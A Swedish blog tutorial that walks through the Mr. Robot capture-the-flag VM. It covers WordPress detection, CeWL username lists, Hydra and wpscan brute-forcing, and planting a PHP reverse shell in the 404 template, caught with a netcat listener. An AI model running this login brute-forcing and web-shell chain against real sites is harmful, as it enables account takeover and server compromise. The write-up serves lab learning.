Hur man hackar en WordPress Website – Ethical Hacking Tutorial

Welcome back fellow security enthusiasts! Idag kommer jag att visa er hur man hackar en WordPress-webbplats med Mr. Robot CTF som exempel. Jag har precis arbetat igenom denna utmärkta CTF själv och lärde mig massor i processen. Jag ville höja mitt spel med Web Vulnerability Analysis ett snäpp och började med denna CTF.

Om du verkligen vill lära dig cybersäkerhet rekommenderar jag starkt att du läser min enorma Getting started with Cybersecurity in 2019 nybörjarguide, där jag lär dig hur du ska börja, helt gratis! Även värt att kolla in är Best Hacking Books in 2019 artikeln.

DISCLAIMER: Denna ”hur man hackar en WordPress-webbplats” är en Ethical Hacking Tutorial och inriktad på säkerhetspersonal. Använd inte, jag upprepar, använd inte dessa tekniker utan skriftligt samtycke från den mottagande parten. Om du använder denna handledning i ett olagligt sammanhang kan lagliga anklagelser och/eller fängelsetid vänta på dig. Använd endast dessa tekniker i en sluten laboratoriemiljö.

En CTF är ett så kallat Capture the Flag-spel, där ditt mål är att samla ett visst antal flaggor (eller nycklar, för den delen). CTF:er används för att öva upp dina hackarfärdigheter i en säker och laglig miljö. Jag kan rekommendera Vulnhub som en resurs för ett urval av utmärkta CTF:er.

Okej, då sätter vi igång.

Steg 1 – Utvärdera om en webbplats använder WordPress

Om du inte vet om en webbplats använder WordPress eller inte finns det oftast ett mycket enkelt sätt att ta reda på det.

Du kan helt enkelt skriva: www.addressofthewebsite.com/wp-admin

Som i de flesta fall kommer att ge dig en wp-admin inloggningsgui, förutom att administratören har inaktiverat den.

Ett annat bra sätt att kontrollera om en webbplats kör WordPress är att använda wpscan. Wpscan finns förinstallerat i både Kali och ParrotSec.

wpscan -u www.addressofyourtarget.com

I mitt fall avslöjar skanning av Mr. Robot VM följande.

Hur man hackar wordpress
En utdrag ur resultatet

Som du kan se visar det tydligt att webbplatsen använder WordPress. Dessutom presenteras 46 identifierade sårbarheter. De flesta värdar och de senaste versionerna av WordPress blockerar som standard en sådan här skanning. Så sannolikt kommer detta bara att fungera med föråldrade WordPress-versioner utan något skydd från en hoster.

Okej, så långt så bra. Nu kan vi verifiera det genom att kontrollera om inloggningssidan finns genom att navigera till webbplatsens URL + /wp-admin så här:

Hur man hackar wordpress
WordPress Login

Och visst, inloggningsmasken dyker upp.

Steg 2 – Ta tag i koden med Burpsuite

Nu kommer den svåra delen, att ta reda på användarnamnet. Du kan börja med admin, men WordPress genererar vanligtvis ett slumpmässigt användarnamn, så det kan vara svårt att räkna ut och du kan behöva göra ytterligare efterforskningar om målet.

I Mr. Robot-exemplet vet jag att användarnamnet är Elliot (inte alltför svårt att gissa). Du kan också försöka köra hydra mot ett par användarnamnslistor, men först måste vi använda burpsuite för att hämta lite kod från inloggningssidan.

Starta burpsuite genom att skriva

sudo burpsuite

Skapa ett nytt temporärt projekt med hjälp av Burps standardinställningar.

Navigera till fliken Target -> Scope och klicka på Add för att inkludera wp-login-sidan i scope. Välj Ja i popup-dialogen.

Hur man hackar WordPress
Lägga till sidan till räckvidden

Nästa steg är att gå till menyn Inställningar i Firefox och bläddra hela vägen ner tills du hittar Nätverksproxy. Klicka på Inställningar.

Välj Manuell proxikonfiguration och ange IP 127.0.0.1 och port 8080. Markera ”Använd den här proxyservern för alla protokoll”. Klicka på OK.

Hur man hackar WordPress
Hitta en proxy

Tillbaka till Burpsuite. Öppna fliken Proxy. Nu tillbaka till WP-Login-sidan. Ange valfritt slumpmässigt användarnamn och lösenord och klicka på Logga in. Se till att Privacy Badger, uBlock Origins och NoScript är inaktiverade för webbplatsen.

När du klickat på inloggning går du tillbaka till Burpsuite och tittar på resultatet.

Hur man hackar WordPress
Grabbing Code

log=root&pwd=1234&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.109%2Fwp-admin%2F&testcookie=1

Nu har vi något som vi kan mata till Hydra.

Steg 3 – Hitta rätt användarnamn

Låt oss ha lite roligt för att ge dig en idé om hur du kan ta reda på ett användarnamn för ditt mål. Den virtuella maskinen som vi använder för det här exemplet är, som nämnts ovan, med Mr. Robot-tema. Så det är mycket troligt att användarnamnet kommer att hittas i någon trivia som har med Mr. Robot att göra.

Först går du tillbaka till din Burpsuite och stänger den. Vi behöver den inte längre just nu. Gå också tillbaka till dina proxyinställningar och inaktivera proxyn igen.

Nu går jag till Mr Robot Wikipediasidan: https://en.wikipedia.org/wiki/Mr._Robot

Och jag kommer att skapa en användarnamnslista från just den här sidan med hjälp av CeWL.

Öppna ett nytt terminalfönster och skriv

sudo cewl -w usernames.txt -d1 -m4 https://en.wikipedia.org/wiki/Mr._Robot

Låt oss dela upp det här.

  • -w usernames.txt – borde vara ganska tydligt, detta är namnet på ordlistan som kommer att skapas
  • -d1 – Definierar djupet i vilket CeWL ska crawla webbplatsen. 1 anger att den kommer att stanna på just denna webbplats och inte öppna några länkar på den
  • -m4 – Definierar den minsta längden på ordet som kommer att läggas in i listan
  • https://en.wikipedia.org/wiki/Mr._Robot – uppenbarligen den webbplats vi ska crawla.

Så som du ser kan du tillämpa den här tekniken på vilken målrelevant webbplats som helst.

Körning av en snabb

ls

Visst oss, att våra användarnamn.txt skapades.

Hur man hackar WordPress
Kontrollera CeWL-utgången

I vissa fall har du tur med att använda wpscan för att räkna upp användarnamnen, så prova alltid detta också:

wpscan --url http://www.targetwebsite.com --enumerate u

Nu kommer vi att använda Hydra för att Bruteforce denna lista mot wp-loginsidan.

Steg 4 – Bruteforcing av användarnamn med Hydra

Okej, dags att mata användarnamnen till vår Hydra. Jag hittade just den här metoden på en av de många Walkthroughs från Vulnhub, även om jag inte minns exakt vilken det var, men jag ger kredit där kredit är skyldig. Öppna ett nytt terminalfönster och skriv:

hydra -V -L usernames.txt -p whatever 192.168.1.109 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'

Låt oss dela upp det här.

  • -V – Verbose
  • -L – Våra användarnamn.txt list
  • -p whatever – Lösenordet, vi bryr oss inte, eftersom vi vill ta reda på användarnamnet
    • http-post-form – Den typ av Brute Force-attack som vi vill köra
    • /wp-login.php – Sökvägen till inloggningsformuläret
    • log = ^USER^&pwd=^PASS^&wp-submit=Log+In – De värden som ska skickas till formuläret, där ^USER^ och ^PASS^ är platshållare för våra alternativ -L och -p
    • F=Invalid username – Säger till hydra att försöket misslyckades om det returnerar Invalid username

Okej, låt oss köra kommandot, ska vi?

Hur man hackar WordPress
Hydra-resultat

Och visst, vi får tillbaka att inloggningen med användarnamnet elliot lyckades (Vilket den inte gjorde, den bekräftade bara att webbformuläret inte returnerade ogiltigt användarnamn).

Så vi behöver fortfarande lista ut lösenordet. Men vi har åtminstone ett användarnamn.

Steg 5 – Brute Forcing av lösenordet

Nu skulle vi också kunna använda Hydra för att Brute Force av användarens lösenord, men jag föredrar att använda wpscan eftersom syntaxen är enklare.

wpscan --url http://192.168.1.109/wp-login.php --passwords /usr/share/wordlists/rockyou.txt.gz --usernames elliot --wp-content-dir http://192.168.1.109/wp-login.php

rockyou.txt.gz är bara ett exempel, byt ut det mot den lösenordslista du vill använda.

Och voila, vi har användarnamnet och lösenordet.

Fångst av lösenordet

Steg 6 – Implementera skadlig kod i WordPress

Okej, nu när vi har fått administratörsåtkomst till WordPress finns det ett par sätt vi kan gå vidare härifrån. Jag ska visa dig ett av de enklare.

På din angripande dator går du till Places -> File System -> usr -> share -> webshells -> php och öppnar php-reverse-shell.php

Kopiera allt innehåll:

Hur man hackar wordpress
Kopiera texten

Nu i WordPress, navigera till Utseende -> Redaktör och välj 404.php-mallen. Detta är bara ett exempel, du kan implementera koden på många olika sätt.

Klipp nu in din kod här så att den ser ut ungefär så här:

Hur man hackar WordPress
Redigera de gulmarkerade raderna

Redigera de gulmarkerade raderna så att IP:n pekar på din angripande dator och välj en port.

Steg 7 – Starta en Netcat-lyssnare

Nu tillbaka på den attackerande datorn startar vi en Netcat-lyssnare:

nc -lvp 443

Därefter kommer du att öppna 404-sidan som om du bara skulle gå till länken: www.yourtargetwebsite.com/404

Hur man hackar WordPress
Koppling upprättad

Och vi är inne! Vi hackade inte bara WordPress Admin-kontot, vi fick även tillgång till själva servern. Härifrån måste du använda dina färdigheter för att få förhöjd åtkomst, men det borde inte vara så svårt längre nu.

Du kan se att CTF:er är ett bra sätt att lära sig nya saker.

Till nästa gång, fortsätt att hacka!

*Alla tekniker som tillhandahålls i handledningarna på ceos3c.com är endast avsedda för utbildningsändamål.
Alla tekniker som lärs ut här är endast avsedda att användas i en sluten laboratoriemiljö eller i samförstånd med en andra part.
Om du använder någon av dessa tekniker i olagliga syften kan Ceos3c inte hållas ansvarig för eventuella lagliga konsekvenser.

Please Share!

Like Loading…

Lämna ett svar

Din e-postadress kommer inte publiceras.